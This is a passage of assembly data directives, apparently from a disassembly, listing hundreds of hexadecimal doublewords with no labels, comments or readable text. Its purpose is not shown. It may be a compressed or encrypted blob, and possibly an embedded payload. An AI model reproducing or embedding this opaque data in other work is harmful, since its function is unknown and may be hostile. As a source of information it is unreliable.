52620A0Bh, 76F3FD80h, 8C9837ECh, 0F0D77704h dd 80A02118h, 0ED0C04EEh, 0AE012341h, 0F16A9FD9h, 7CBAC874h dd 15810F13h, 3ECF1EAAh, 39E71809h, 0ED3C628h, 69297FC1h dd 121FE604h, 42BB9D0Bh, 0B9146680h, 166224CEh, 5ADFFC77h dd 2EBB69FEh, 0CB14DB8h, 680005E2h, 15D77ECBh, 363F0B05h dd 4056629h, 11A6B6ACh, 0E054036Bh, 9A1527E9h, 418B45D1h dd 2037DAEAh, 5D4C7620h, 0EAF28A52h, 0DD04B592h, 10499CDh dd 0FFE2BBC7h, 0CED53CAh, 4A55F769h, 5CD15CB5h, 0ECDE8FC5h dd 4E6041F2h, 1B452A68h, 0E65B3D7Fh, 88C25B87h, 0AD5855EFh dd 4AD2DD7Dh, 40C4D4A8h, 0F22D00A2h, 145E5568h, 705F029h dd 7CEDEC78h, 12B2F51h, 0BA586B7Ch, 6CA0A09Dh, 0FE87624Ah dd 5A043FF1h, 0C0A465ACh, 0E536F807h, 67E9150Ah, 0AE999B13h dd 0DCC9EBACh, 3980F430h, 0EF993EECh, 3AE152E5h, 52584C81h dd 4ED3F6E1h, 43970562h, 5F9BCABEh, 7C5120BAh, 659DF130h dd 46E98B10h, 0B3C45CE2h, 0DF179009h, 0B0AC9006h, 9F5BEE53h dd 0CA08CFBh, 9E1C28D0h, 33BBC0EFh, 56470172h, 272CBB68h dd 0CE783037h, 0A66A7401h, 0F475E97Ch, 28C5497Bh, 0C823E1Ah dd 53009296h, 253E45BBh, 0A7D06DF5h, 1A404213h, 55CC2BFh dd 0D4AC015Dh, 0C02B823Eh, 53E7990Fh, 0DE89BE18h, 26E9F1B8h dd 4957C286h, 4BEF5A5Fh dd 8995C23Fh, 0C101AB5Eh, 1EE0403Ch, 0E190C82h, 4AFD4E3Ah dd 0C080DE7h, 545F1402h, 0BC57C330h, 7EC4524Ah, 934BF3ABh dd 2501260Bh, 0B0A95FB9h, 0BC3F7284h, 0A482A473h, 9599DD75h dd 3F57D06h, 0E44ECAC7h, 0F60C0567h, 0FF49E094h, 53E1DE81h dd 0F309B066h, 44825A5Bh, 0FE0BEE70h, 0D5F609DFh, 82D59509h dd 5FBED71Dh, 9F566C1Ah, 7B9C6804h, 630505F3h, 1F661F09h dd 0DE6040D3h, 47CB8135h, 6EED3F04h, 61D179E9h, 0A631CE01h dd 74BAF2Fh, 0D1384034h, 1990E6h, 169220DCh, 10BEF81h dd 4760CF70h, 84222DD2h, 48D89D32h, 0B409DF98h, 7DBEC6A1h dd 0EA80E45h, 940BF39Ch, 0BF5A827Ch, 0E05D0967h, 1811A01h dd 7B1D0524h, 0D84031EFh, 0FE7A89AFh, 8DC3012Ch, 0BA6765Ah dd 9C7DC539h, 48A881C7h, 4E5086Ch, 0A0ECC868h, 161E3D83h dd 0A59E1C2Bh, 4E632F6h, 75B718EFh, 9898BAC7h, 4E2878B4h dd 0BDA8356Fh, 572A1311h, 0BE568130h, 0A61B1E1Eh, 13F75327h dd 0E04AA64h, 651E609Ah, 0AEEF00FDh, 0FF4F3F1Dh, 0BFE8172Bh dd 67B52770h, 294E3291h, 0AA504CDh, 0D78CC35Dh, 90255376h dd 50B97E32h, 0EE924771h, 32782B46h, 0CE257CE1h, 967580CAh dd 90539F5Dh, 0A2E299CAh, 46BB0326h, 89607FAAh, 4082CAAAh dd 81490296h, 0C7E87E2Dh, 75F7B48h, 735B5435h, 0AF19A4AFh dd 0A15725BDh, 0F44E23B1h, 0D7BF00F2h, 414F263Ah, 3FC702E3h dd 0D5C1781Ch, 0E4F05547h, 0B5A4A4Ah, 0EB97F4A9h, 0E85E18CBh dd 860C93FCh, 0EEE035EBh, 4B195AA7h, 15040607h, 0C8880703h dd 55AA7DF5h, 0CE0E8AE8h, 57495585h, 9328BA7Eh, 59C46109h dd 84954FCh, 2007D9B3h, 9F865AF1h, 0A2BEA0F5h, 79E03D2Fh dd 0F79CD396h, 874C7B95h, 0ABCE804Ah, 0F6613519h, 0AB9D5E36h dd 7EB4E730h, 4E1D3F53h, 0FEC99C89h, 8455C5D5h, 0C897E9C5h dd 3A4ABEFFh, 4BCACCCCh, 1317479h, 0F341E4B8h, 0E0F5F074h dd 95FE0DD7h, 5E56DAE0h, 0E9C76AA2h, 14FFD728h, 0FC8BFA50h dd 9F94C318h, 0C38238D3h, 5CD2B680h, 361DFA46h, 1C055FD0h dd 35F66F55h, 0FF54557Ah, 0C7716172h, 6E097179h, 0D5B202h dd 78667BE2h, 7E9394Ch, 42553DAh, 0EF02FB19h, 0E98460F6h dd 357B9059h, 0B8242148h, 0AE0B4E64h, 0B734D5C6h, 0FED5E91Ch dd 0E0D8566Fh, 3D27012Fh, 41FCC1F6h, 0D66408DEh, 0A91B2C1Bh dd 22CC64Ch, 5125F9ACh, 5752FFFh, 7AAD8121h, 9325A107h dd 0C6E6937Eh, 0FC7A5BB3h, 0C25BFA60h, 487F1BA8h, 21044A6Ch dd 0AF3A7B3Eh, 83E94A04h, 0B66E73B1h, 0C9D9C4A6h, 789465ECh dd 7E77E43Eh, 129E5F0Bh, 0FFB5AA34h, 0FA51DFD0h, 307D5F20h dd 75796A20h, 16BA4D40h, 0B862DD40h, 41EB5BD5h, 931E6BEh dd 3129879h, 2F8854DEh, 19C96399h, 3BF2EC6h, 0DB0DE9E6h dd 85317C27h, 25B84E26h, 51CAFF4Eh, 0F2B52713h, 0A02844Bh dd 10056802h, 7F00CDCCh, 4864FC26h, 79401225h, 1BE91478h dd 68C385E3h, 4B1867B7h, 217A7AE5h, 4EEEEEDAh, 0C1BEEC12h dd 63AA5FF4h, 95227BF4h, 63C1E192h, 0D13407F7h, 4A2D95C2h dd 6E71F7ABh, 51147752h, 70BDE92Fh, 0F171B725h, 85610549h dd 57DFBCA8h, 0B81FF8F8h, 0CA02D68h, 11A8AB18h, 0E037E227h dd 146D321Fh, 92FD0971h, 0F475AB4Dh, 20E6BAB4h, 1FFE6423h dd 0C597185Bh, 1012FCC3h, 4E922119h, 7A48B7FCh, 3EA0E9B1h dd 8DCDAD90h, 7B052D73h, 50643CF8h, 0B9008ADCh, 4FF724A4h dd 0C19488B7h, 0E9020B48h, 7DFFD6C6h, 97C8A65Ch, 0CDEEFB64h dd 49E082ADh, 4066D35Bh, 0CE7816Dh, 6B850EBEh, 7F18CD0Ch dd 806458D4h, 0BEF7E2FBh, 17141786h, 0C17E0A22h, 0E2782E08h dd 1109F485h, 0BE2B4471h, 84881524h, 90DA59E9h, 8BEA800Dh dd 5B09D6F0h, 606A1FC1h, 10432948h, 5824539Ah, 441F4291h dd 5FD20A0Bh, 6B1CDE27h, 0BCABB304h, 0A3B95A25h, 8431E2DDh dd 0C22986B3h, 2182D30h, 585E2D06h, 65771487h, 306C1AE0h dd 0CBCF0B7Eh, 0E4455F04h, 25682C4Ch, 1A57178Dh, 52C37C8Dh dd 0BC43795Fh, 0D441FACEh, 569168CFh, 7118439Dh, 604E5DDEh dd 3B13A5F0h, 2B017A17h, 783490EDh, 68EBC37Eh, 465F098Fh dd 55F49FA5h, 98207826h, 0C8BD595h, 0F0E8E803h, 745CE825h dd 5455C7FBh, 8B8EB5Dh, 1398ADF4h, 0E5AC401Ah, 90FD66CBh dd 0D7B2CAEDh, 289AAA5Ch, 0C2B2814Bh, 0F06C123Fh, 27AA872Ah dd 0D3202ECEh, 0FD2924B9h, 0DFF5014Fh, 0F867EE11h, 48971C2Fh dd 0B94169E1h, 9729690Ah, 40F362FDh, 823695FCh, 0B594A257h dd 18745688h, 0FA31E784h, 20BF8A9Eh, 0EE8013F1h, 6698BAB2h dd 0E4CB7DFEh, 60C3E620h, 30D1060Dh, 0DD2DE9DEh, 685380F6h dd 9B6CA1h, 0F1815902h, 797357C5h, 3E1F2F90h, 186EAE54h dd 7F478613h, 5C852047h, 90DF9F0h, 363506D3h, 776C2D01h dd 0D3EC3BE8h, 57AAED01h, 0EC319821h, 0E91A405Dh, 60485412h dd 162DD075h, 4831D0Dh, 9BBB4A6h, 0FB70B01h, 1C2CE839h dd 0BE8053B5h, 62A3E706h, 7A56A041h, 0F88D7360h, 0BBF59D35h dd 441192B9h, 0B1C62004h, 0F48D5A6Bh, 2F56A5C4h, 0A60036CAh dd 4D03DE2Dh, 4538E7E9h, 27C9F85Bh, 0EAD96BB7h, 20E0DC87h dd 956A7FCDh, 912C4E18h, 68419299h, 316E14C5h, 742D8549h dd 8B74F2h, 0D7CBF2Bh, 2EE93119h, 0D775C95Eh, 893AA701h dd 0F36AB4EFh, 7C59027h, 4D21644Ah, 54EDA11Fh, 9620AE35h dd 0A7094FB0h, 0F6984BB2h, 7B6B41B2h, 0D9375BC7h, 9F12C9A5h dd 66042FCBh, 81052F2Dh, 3F51C8BAh, 59E9278Ch, 5303E513h dd 0E7C0B4B7h, 2BC7FEF1h, 0CC02D4A1h, 264F568h, 6A278AE0h dd 51D8FC46h, 0ED143058h, 0A18C944Fh, 198E4922h, 3C1AD848h dd 567DA4C1h, 42A158F4h, 1568D62Eh, 0C43F312Ch, 825F4EFAh dd 61DF21F3h, 803DDC41h, 0FEF68C2h, 0CDECB05Fh, 2BE15C37h dd 92187C1Dh, 7EC2A80Eh, 959A8C8h, 5A02EFC1h, 9A573094h dd 0FB6CD78Fh, 58C0F20h, 447BDEBAh, 92C0BF09h, 0E440D17Dh dd 0C910C1E2h, 0F822B964h, 0F43B82F2h, 0EFE90BBEh, 30307F83h dd 168C5D54h, 0ED061DE9h, 12AED2B0h, 0B0D0E83Fh, 0A15AF030h dd 4BCD68D0h, 53105926h, 0FD310B8Dh, 1099054Dh, 0DDB8F045h dd 93F81EBFh, 0E161527Ah, 1498E080h, 8122FE9Fh, 40B36055h dd 6540DA01h, 51011E6Eh, 0E9D8F708h, 283B9186h, 0B651BFABh dd 0BCA82EEDh, 130B3EC4h, 20E4601h, 6600188Ah, 0E64A0DBCh dd 0D64154A8h, 4A7845C0h, 50BF250h, 627F3CB0h, 0CEC93E87h dd 0C3810239h, 46C86C17h, 80D67877h, 6B7DE908h, 557E325Ah dd 0D723422Dh, 61CBA5E5h, 1B857575h, 8DDBF4E9h, 39A7024Eh dd 6623B8D5h, 43CE3FBDh, 0D0BAF092h, 6105905Bh, 6ABF6502h dd 0F7299867h, 2CB99F09h, 3862D8F0h, 589824B5h, 90C9A9BEh dd 555F2511h, 4CBBA218h, 420E24B0h, 0F2E9CB87h, 0CC688D0h dd 32C1122Eh, 16E0AB4Eh, 0FED75EF2h, 161E3235h, 546C33F2h dd 0E2526790h, 9C7DE8C3h, 20EDA4EEh, 0C29053D3h, 9D93D420h dd 992210F3h, 4BC4B730h, 2D673DE3h, 0C9800E5Fh, 9EBF6336h dd 5FA10BB5h, 0BF323D8Fh, 0DB8C2B17h, 411A9758h, 7B8B847Dh dd 5931A9A8h, 0DB7521A2h, 61F729F1h, 0FD08043Ah, 0C0BE9A32h dd 0B7FEE517h, 0F4275BE5h, 87330197h, 87F6BB39h, 0E9D3290Bh dd 7D00A9B9h, 0FD34A9h, 0E2662C20h, 0BEF34E01h, 5460B3CEh dd 0A096AD9h, 4007EB7h dd 812357E3h, 0A6C468CDh, 562D068Ah, 0A95EA769h, 419652Dh dd 166DBA68h, 0D99A35BCh, 32BA9043h, 2D3038E4h, 1BBF56EAh dd 6F41283Bh, 8A50991h, 0A2002E4Fh, 7C3C0398h, 59CF3116h dd 0E7C142BEh, 0C17713D5h, 0DA0621h, 580F6AB8h, 74631F58h dd 200150BDh, 0A9724DEh, 0A803DF9Dh, 7141F338h, 2877266Ah dd 6DCF0483h, 3782BB64h, 4C20503Dh, 683FEF49h, 0B7983E25h dd 8A2C4B0Bh, 0F928A971h, 8273D4B7h, 0B57335Eh, 0E926987Dh dd 0C78595C4h, 9F82C049h, 0F0E30628h, 0DB48CF9h, 78245E83h dd 0FAA7D976h, 129E603Ch, 4A97AC79h, 0BE377CEFh, 774889B5h dd 5C12A071h, 87F4ECE8h, 16F8D1B2h, 12A57A48h, 0E2BA8ED6h dd 7D33FB07h, 0BDDE0E8Bh, 98A15713h, 0D874BE2Eh, 0FF94D8EAh dd 6CA8155Fh, 0E9C129B0h, 0C6E5372Fh, 1F574F38h, 4EE96F1h dd 7D8716Dh, 0EC02CC68h, 6DB96808h, 1D412F63h, 0C727DA70h dd 5087F682h, 17CB8363h, 4EC255EEh, 0B001B0D8h, 0E91F4876h dd 25BD4130h, 0BC55DC85h, 0AFBF0162h, 60677860h, 0CCB51BB7h dd 0A3C5A823h, 539BC589h, 2C2691Dh, 43541317h, 5CDEF70Bh dd 0E1FC4115h, 2662133h, 1F4001D0h, 51B1B723h, 0AE1E7D49h dd 0C2A2E927h, 1F7E5DE3h, 4DDC757Ah, 3076B754h, 0F5AC60C2h dd 0E25FCC2Bh, 3AEB8944h, 0FFD97F47h, 7E141490h, 0ADE8675h dd 89C7532Dh, 8E98ED50h, 0F69EE0D3h, 5A1906C7h, 713440B9h dd 0C4D662E7h, 6601D0FDh, 38319168h, 0D9AF4F67h, 0DE12A022h dd 0B09BE120h, 1049084Dh, 51272913h, 5F946205h, 38AA5905h dd 2EB066ECh, 0B7CAC920h, 81279758h, 5BE92296h, 8C77621h dd 53176C07h, 1ADE5709h, 0E1FA551Fh, 544AC61Dh, 0BE3031D9h dd 0E6B4F7Eh, 0AF347204h, 0B19F35B4h, 87C1018Eh, 0D870F073h dd 3A715BF1h, 1B90637Ch, 52FB360Ch, 184E2641h, 1A6F6C68h dd 0E7786963h, 634B89Eh, 0F157480h, 0C13F793Dh, 0F7561424h dd 7F0CAF16h, 0DA0C040Ch, 3F241213h, 81F93D4h, 9513E34Ch dd 0B1D2BDEAh, 8E602AF6h, 6D29BBF9h, 0BF401CE7h, 0FC25091Fh dd 29C2707h, 47D623B0h, 1408C714h, 13CC315Bh, 3900EFD1h dd 0C822763h, 0C4694FE9h, 0EBA0C5A2h, 0D994708Bh, 521DBF24h dd 5B8C4D5h, 0BB68F1F7h, 0AAFC4478h, 948CAB50h, 75D95E93h dd 0DD6ED844h, 5C6D5B65h, 4668811Eh, 0F8C46495h, 0C31C0EF2h dd 0BB525205h, 6FE912C0h, 0E54ABDDCh, 201572F5h, 0F65F1FDEh dd 7C59604h, 70215E0Bh, 0FD8E35C7h, 8496808Ch, 166A81Dh dd 416817FDh, 58EE8C2Ch, 3975AC4Ah, 6ED0A1EEh, 0EF137FB6h dd 25C8BF5Dh, 0DB5EBF5Ch, 0A5FE15F1h, 50D8F5C7h, 1CFDB001h dd 250DEB68h, 2D50ED57h, 0FC2D95FEh, 6F25F324h, 0E299575Ch dd 0CEAF576Fh, 0C8CE97C4h, 5E12CAEEh, 0AA016E7Ch, 0B32F1B58h dd 0E941C16Ch, 0A42EFB3Bh, 0A6EC2C5Bh, 0F06AFD41h, 94408231h dd 69A5FA58h, 4A790DB8h, 0DDBB4412h, 8584ECD6h, 6300C7A4h dd 550E2B5Eh, 1124B68h, 815D0FA8h, 0F87152E5h, 0FD168778h dd 3BC026E9h, 904714BDh, 0F5810568h, 8224CFDEh, 0DC89EE3Ch dd 5194CD65h, 68610BA7h, 0ADC2C392h, 419B5A0Bh, 0B2458055h dd 287E80EAh, 494B2CF0h, 68579ED0h, 2A7D5DB4h, 2BED2BB1h dd 188042CCh, 780CA051h, 0B1050F95h, 0AB4DE90Bh, 9E40B3C9h dd 4F330E40h, 7B740B16h, 8DBA6BE0h, 45C86A17h, 4AE009AFh dd 7086A100h, 0D3A0202Eh, 7502F8B0h, 0E9D689C9h, 3B23F0BDh dd 0D192D929h, 0B7022096h, 77769015h, 4BD2E600h, 1FE96D7Ah dd 0BD71BFF9h, 699068C1h, 652FD38Bh, 67D5FFAh, 980DDE27h dd 33897h, 0F7814302h, 541E5C58h, 0B2B70CC0h, 0B829D2CAh dd 0EDD09742h, 4595FC9Dh, 0B861A06Dh, 687F1061h, 0CC7A4AC7h dd 53B0C172h, 71FCD62Dh, 2183C98Ch, 0E903D44Ah, 0D863C0F2h dd 628DD96Fh, 4B858E2Ah, 0E36069F0h, 0B8AA84C3h, 232BA0E1h dd 0E92A1D50h, 0C547F0FFh, 612F4E2Eh, 0EE04F5EDh, 0BEE2EE39h dd 32CC4F4Fh, 5806DED5h, 52E7E8F1h, 0E42C4C1Ch, 8D32989h dd 0EC2708A5h, 0E96960D0h, 0B4111CBAh, 0D7C4095h, 626FB492h dd 21FDA821h, 711AC67Bh, 9E815FE6h, 406B8928h, 0A5024FBEh dd 0FE31E92Dh, 0E183A58Eh, 0FD9D501h, 0CB52BE2Fh, 0EE2D8CF6h dd 0FCA78DD4h, 9A66086Fh, 93553B3Dh, 1AE6FE45h, 0A65BC117h dd 62946729h, 5D1E1CE2h, 49C92774h, 0F56FF562h, 0CE2EDB66h dd 686C7CA4h, 404B4E84h, 0F154014Fh, 212F5A23h, 236644F9h dd 0FFAE784Ah, 71392389h, 0CD81019Ch, 34F030AAh, 6D136324h dd 180015C9h, 4B656609h, 1EEF6029h, 5425CDC7h, 35506D4Eh dd 6B1C6108h, 163EAC4Bh, 82C5EF08h, 72AC282h, 0C57C635Bh dd 7E77B05h, 50C6EF87h, 0E8C98108h, 2A2348E4h, 0B5802CE9h dd 0EBF7F26Ah, 0D2218A74h, 6C980C0Bh, 0C33A42ADh, 30079C02h dd 71EB5AE9h, 0AE854F6Fh, 68D4434Ah, 0AE853217h, 0BF80B0F2h dd 751D534Dh, 0B905839Ah, 455F0965h, 0CD034EBCh, 25A3607Fh dd 6BC51102h, 4930DAA7h, 91710179h, 8DCFBD9h, 0F814BFE3h dd 0E6B955h, 9445B5B5h, 0ED5E487Bh, 0E2BED100h, 0B84C3539h dd 12AEBEFBh, 0C5F6BB5Fh, 5410EA4Ah, 68A325A9h, 0FCF1BB27h dd 0A9334ECAh, 0C1374B9h, 11E84CDFh, 0E92CA0E5h, 69A71037h dd 2225C63h, 4FB9C29Fh, 737021ABh, 2CD28979h, 0E86A82A1h dd 70C5A293h, 0A682549h, 745D2562h, 715FFA5Bh, 0CC22421Eh dd 300FE859h, 78E049C8h, 79BE1F05h, 8DD52D4h, 0C927A682h dd 2E25E6AFh, 0C9F0A03Eh, 53EF2B4Ah, 0C27152Dh, 463D015Ah dd 0F072CD64h, 59971CADh, 22CCA3Eh, 7F066ECDh, 43A07543h dd 0A7B8756Ah, 6165E932h, 51F97F59h, 3A2E064Ah, 5BD90800h dd 0E68EC180h, 0F6F23CF1h, 4110AE0h, 0C83A2869h, 5259072Ch dd 0E2D399B2h, 40C29A86h, 0A850D6FEh, 1DA4E1C8h, 0BE737653h dd 5502993Eh, 204F89D4h, 0B7A515C0h, 0BA52E1C0h, 58EE5C1Bh dd 0C40B867Dh, 6C0054C2h, 0E547CBC1h, 0D101241Ah, 45080948h dd 2A050355h, 0C2953144h, 7892DFCh, 29827409h, 0B608AB61h dd 1798D008h, 57808ADh, 0F72F31ACh, 0C4B59216h, 9F8421EFh dd 1F6C8524h, 40EE60D1h, 91718D8Ch, 0E951560Bh, 83D56375h dd 1298B9F8h, 5B5D369h, 8DE8B791h, 399C600Eh, 0E851916h dd 3EE602AFh, 9680A970h, 0E68F14C3h, 7C89D52Dh, 313B8205h dd 0C7881328h, 98082099h, 0DF37216Fh, 40D927BFh, 9EAC07Fh dd 3D526808h, 0E6601D5Eh, 0E649EC80h, 3C5176F4h, 0E4894BC4h dd 0CDA2C012h, 5B039515h, 2BEBC58Bh, 14FC4A01h, 0FF2D5EC5h dd 2DE935B0h, 4A9105BFh, 83EDB5Ch, 0CD199A9Ch, 65D2571Ah dd 0F1EB80Ah, 4500EE01h, 2E323352h, 0E06C7164h, 56443941h dd 0D495094h, 0E7544EC7h, 0A10A1A4Ch, 0A2E9F001h, 76E085Dh dd 6099D70h, 0FDDED5A1h, 0A1F12730h, 0E608CB0Ah, 84C19E44h dd 42A03A22h, 109821B7h, 0A18684ADh, 0EE44A348h, 0D7209922h dd 73D1B40h, 0D8B6A56Fh, 7755F00Ah, 0F20069A9h, 8CCF4614h dd 5913AEh, 0E6C4977Eh, 7F5DFE18h, 0F962B107h, 0A0BF4D1Bh dd 7C03E7B9h, 0D107009Ah, 8D451F84h, 0AC608E15h, 0BEE3113h dd 0EAF300A6h, 0BAA046DBh, 97005033h, 92D578BFh, 302FA2h dd 0EC3EE55Ah, 5CAB2E27h, 0A67AF3FAh, 35789E00h, 59633C02h dd 7FF67476h, 0C34E00BBh, 0C898DE03h, 0F7B86285h, 7FD1A300h dd 0DB4D9EB2h, 0CE46002Ch dd 48EDCF56h, 727E98DFh, 80FC5F3Fh, 861BDD6Ah, 6092D7h dd 9879371Dh, 0FA17E5C3h, 0A22A6100h, 9DF78CFCh, 21402F3Ch dd 0A374EA60h, 0CDAB801h, 0A7755308h, 0CC9948h, 32E3B18Fh dd 0BCB04B29h, 834A1B63h, 1C509FB5h, 2C96C54Eh, 72EAB8h dd 19A08456h, 94A00837h, 4300E2BCh, 0D5868C4Ah, 0B0EF6CA9h dd 92C91C84h, 34EA406Fh, 0D685904Eh, 0EE75F300h, 78BD0582h dd 0FACD4C47h, 0E90ECE30h, 6E00ED29h, 0DB8093BFh, 1F42F1B8h dd 326E45Ch, 0CDCEB037h, 10532A00h, 59BA7E61h, 56243D02h dd 377B9E83h, 8A0381DAh, 0B311A73Ch, 0FCA0F252h, 22F500DFh dd 878D5B39h, 28F6D400h, 0C79573E8h, 3210004Bh, 0CCAAB164h dd 9C003B31h, 3604E279h, 9D7BE0h, 391744CFh, 0D7B5A66Bh dd 9A21050Ah, 3D8981B8h, 0DD28063h, 0A3684Eh, 0A425B64Ch dd 6B260928h, 0FCA86D00h, 0CAD5E57Eh, 13D724BAh, 0E83A004Ah dd 0FB8AB106h, 0DE87DA04h, 0C0905990h, 0D24AB7h, 0C76B694Bh dd 78ABEE7Eh, 5D0F8400h, 66497664h, 0EC6F01A2h, 25078E06h dd 632880B5h, 80C3A8B3h, 0B8270C9Dh, 9B43653Bh, 7E57600h dd 583EE47Dh, 0F32201E0h, 7AF88568h, 366B20D4h, 739899E4h dd 12C0FDFCh, 0D2B564A7h, 2C121255h, 9BC206Eh, 332F2F52h dd 0D083C1F1h, 882B8053h, 180AF036h, 4488AC83h, 817E629h dd 0F00D73Ah, 0F7DD051Ch, 0EB010170h, 0F8BD72B5h, 998CCC9h dd 305C3100h, 8C5376E5h, 0E92C00A9h, 8DCE4503h, 5390E1AFh dd 4FC20600h, 0CFCBD50Ch, 341706ADh, 8DABD7D3h, 2E2DEA00h dd 0C9928250h, 0E81D60EBh, 556BC8Ah, 8059273Ah, 4626C19Fh dd 3D78491h, 70EB2BF9h, 5A12C492h, 740602Eh, 0AD8F16FAh dd 32F5A009h, 2BB94458h, 312AE700h, 114ACA0Eh, 0DCA300EEh dd 1C3CB556h, 0FC3B1541h, 0B73E055Fh, 0C203FED5h, 35175Ah dd 48130228h, 75AF5E25h, 382C9300h, 0DDC09B7Ah, 0FDA53050h dd 0C23A2030h, 11593B30h, 0EB89BDEh, 881F6B19h, 0A10C1EE5h dd 4CE054Bh, 8C70D5F1h, 8B0EEB45h, 608D99CCh, 5E873A0h dd 1F30E34Ah, 0B9DC007Fh, 0D65D43F2h, 0D6A1A9A3h, 8BC324E7h dd 80CB0E3Ah, 4228FE63h, 138790BBh, 47D472B8h, 78B94772h dd 87015213h, 488B626Fh, 14A216B0h, 0D87296EFh, 40B8EA1Fh dd 1E3FD70Dh, 377A8D10h, 4D132D54h, 0A921B300h, 2AC04022h dd 9F82C572h, 0C0BF9B3Ah, 0EA86793Eh, 83285B00h, 0E0D9A7Dh dd 7090A7h, 0A38951C8h, 0B7A46D2Bh, 0EACD9400h, 0DD8AD25Dh dd 17D73398h, 83A32C86h, 51A514D8h, 397FA22Eh, 0EB0E4D00h dd 3C14124h, 159C8258h, 7809AD53h, 16F5598h, 0D6358E60h dd 7AD013E4h, 60B100EDh, 0D7951DFBh, 3D4D203Bh, 1E8C00CEh dd 0E1F78ED5h, 57842E80h, 0D93E810Eh, 0D4D6A482h, 71003F1Dh dd 10DEBC9Fh, 7B5902h, 15F368ADh, 30E5F27Ah, 7F4D2B16h dd 60FB6B20h, 5DB40082h, 6A4E20FEh, 0B4801E3h, 0AC860754h dd 960480Dh, 4C189C23h, 0DD039D06h, 0B766F51Dh, 5B8013EBh dd 6400AF7Dh, 18D6D4F7h, 35E1FDh, 0D0947726h, 0D1E31A41h dd 1DA73A4Ch, 0F988CD2Eh, 7B9C0103h, 323402E0h, 3C2E6291h dd 0D9B7806Eh, 510A0Bh, 4394D873h, 0DDAB89D2h, 44223900h dd 0E0BE9D76h, 5CFF0112h, 41C8AC7Eh, 0E4BD845Fh, 62876B0Ah dd 0F91C3F70h, 0FD5E24B5h, 0FFE10469h, 8485816Ah, 2B3A2041h dd 5275E61Ch, 0B4591E01h, 21806909h, 7195D99Eh, 660E216Eh dd 20C26144h, 0C7DE8977h, 1301B670h, 0DC5C2CEEh, 78C06900h dd 89F8D619h, 0EC85004Ah, 4FAC8D3Ch, 49051E01h, 0FB23368Fh dd 70AB19C1h, 0ED303087h, 93C8E007h, 0B50028B0h, 10A98D05h dd 4DA3Fh, 2BE8A61Eh, 63460D30h, 0BF4BD600h, 8A4FCAA1h dd 0C24A3FE3h, 6B4E8B89h, 1388F887h, 0A9C81291h, 0CA0BA294h dd 883CEB2Eh, 9A008F0Dh, 290F52C4h, 0B23907B1h, 0A09B58D0h dd 0DA819555h, 84482B00h, 68F0CE8Dh, 0F9B0AAh, 612508CFh dd 4A74ABB0h, 0C5C9B101h, 0B5854B5h, 8AEE53h, 69F22235h dd 853BD8Bh, 0B65C2A00h, 1CF9C7A5h, 0C661003Fh, 77E431A6h dd 0A3B1CB99h, 0CEACAF07h, 6C4A1100h, 2FB60A9Ah, 5EE0C4Dh dd 59F8D2h, 3DA05CA8h, 7A9026CEh, 0FD253C09h, 13CDAF17h dd 7F719A04h, 2FED5A80h, 577A0AE1h, 40B2AD90h, 0E5B391CAh dd 0A2D2E0Ch, 0ED97EC6h, 11A6C22Fh, 0A3E9AFCFh, 0F2074A58h dd 8A583625h, 0BCF3D113h, 4EF6C8h, 0B4612F0Dh, 3E2EC9A7h dd 0DF7C9900h, 78E33301h, 47CC009Ah, 0A9683614h, 20CD4B2h dd 0D1B5971Eh, 0C160243Ah, 415664B4h, 0F1D35AD2h, 38766D74h dd 511E5BB6h, 876A8025h, 23E1C70Ah, 8F6DEE06h, 18101D05h dd 32CFAE5Ah, 8D7DB0F3h, 0A901728h, 0DF0330Bh, 6CD88449h dd 411A3E80h, 3FD97363h, 0A287B59Bh, 71733FD5h, 0D8B73518h dd 0C6069581h, 90AC56E3h, 0AEF10046h, 500B0AC8h, 1BB2B26Dh dd 0D9979507h, 0BC002338h, 1580754h, 5CAAC75h, 708ECFEAh dd 0BF0FA3DFh, 0CE391C47h, 0A0E1CB9Ch, 0AEB27764h, 7119FC32h dd 348F00FAh, 8AFA7DAh, 76283114h, 241EC321h, 8CC4AC66h dd 20C099C5h, 39166DFDh, 308045CCh, 7AF1E96Bh, 270E3FC2h dd 4046CE44h, 0BE2A6547h, 23EA0078h, 4AC054E7h, 7C002B73h dd 7598C350h, 9807CBAEh, 0EA2E3E39h, 19B3A6h, 0BCF165CAh dd 0A8160BC5h, 7B26D6F9h, 0CF4200C0h, 0F3A2698Ch, 7300A7D0h dd 0B2A84F0Ch, 37A5EDh, 1EE87B46h, 0AD4AB3Bh, 76540701h dd 0CBEE6DA8h, 6747D8D7h, 19C65C10h, 8068261Fh, 0E6C990B3h dd 0B7B0A270h, 8DC60260h, 3C0A36Ah, 88F0705h, 0D0003326h dd 0C4A9B264h, 9C94E81h, 196B18DDh, 0CE401042h, 0BE002C38h dd 469E63F9h, 75E22EA1h, 0BC930079h, 0C64F13F6h, 2F00B795h dd 98BBA071h, 19AC154h, 1B01B077h, 804FB294h, 11F4376Ah dd 713C44Dh, 0F28B9CAAh, 6588B023h, 5100B458h, 9E72204Ah dd 26569ABDh, 13A2A1BAh, 0DA0500F2h, 46CB176Ch, 0D8361550h dd 7D94620Eh, 3877CCDEh, 0FC1202D7h, 5F64B5D9h, 0C007D50h dd 2BE97F44h, 25073E8h, 2FE2A689h, 0C88962AFh, 0C0A25E00h dd 45E64B5Ch, 4E0B024Bh, 51F7066Ah, 93D60019h, 2CE6D560h dd 0A73BACC6h, 4C05F8F8h, 3E6C6712h, 250B6980h, 0BEBC009Eh dd 0FE41C04Ah, 0E200694Fh, 0BA42ECE3h, 31E0A0h, 0BDBC072Ah dd 0FC1C4C5Ah, 0F358FAB0h, 0D91A0096h, 95DFF0C7h, 0B43C05B2h dd 822EF4EFh, 0E960D02Fh, 0F1002930h, 94C74D0Bh, 16AC33B1h dd 239760Ch, 0A5A3C63Ch, 5040A50h, 0A4684B10h, 43081780h dd 0DF48C0B1h, 41B79A40h, 199A7354h, 7F62F90Fh, 62961C4h dd 0FCD8AD33h, 0E3A11387h, 22E26030h, 492C6CEFh, 1F805905h dd 0CC5FFEC3h, 0C1B7242Eh, 7047021Dh, 65C16BA6h, 0C22C4Ch dd 814FC5A8h, 0CE5CB90h, 0CC04E66Dh, 44B0896Ah, 32AAA803h dd 5CBC9ABh, 280B4E16h, 797ACh, 4152049h, 0E1195994h, 95280896h dd 71A5E900h, 9283C7EAh, 62A6C900h, 4185A8B3h, 678A01D1h dd 4B6EED23h, 2AB78407h, 0B8AE8068h, 2404130Fh, 5E2E9EABh dd 40B1C1D1h, 0D3CCCC2Eh, 6099C05h, 0E2BF1C8Bh, 0CABBD7E4h dd 0B7680B32h, 8B195F77h, 5DC53E42h, 0D30DCBFEh, 17808BEFh dd 2A07D647h, 0F3B08656h, 31D7B48h, 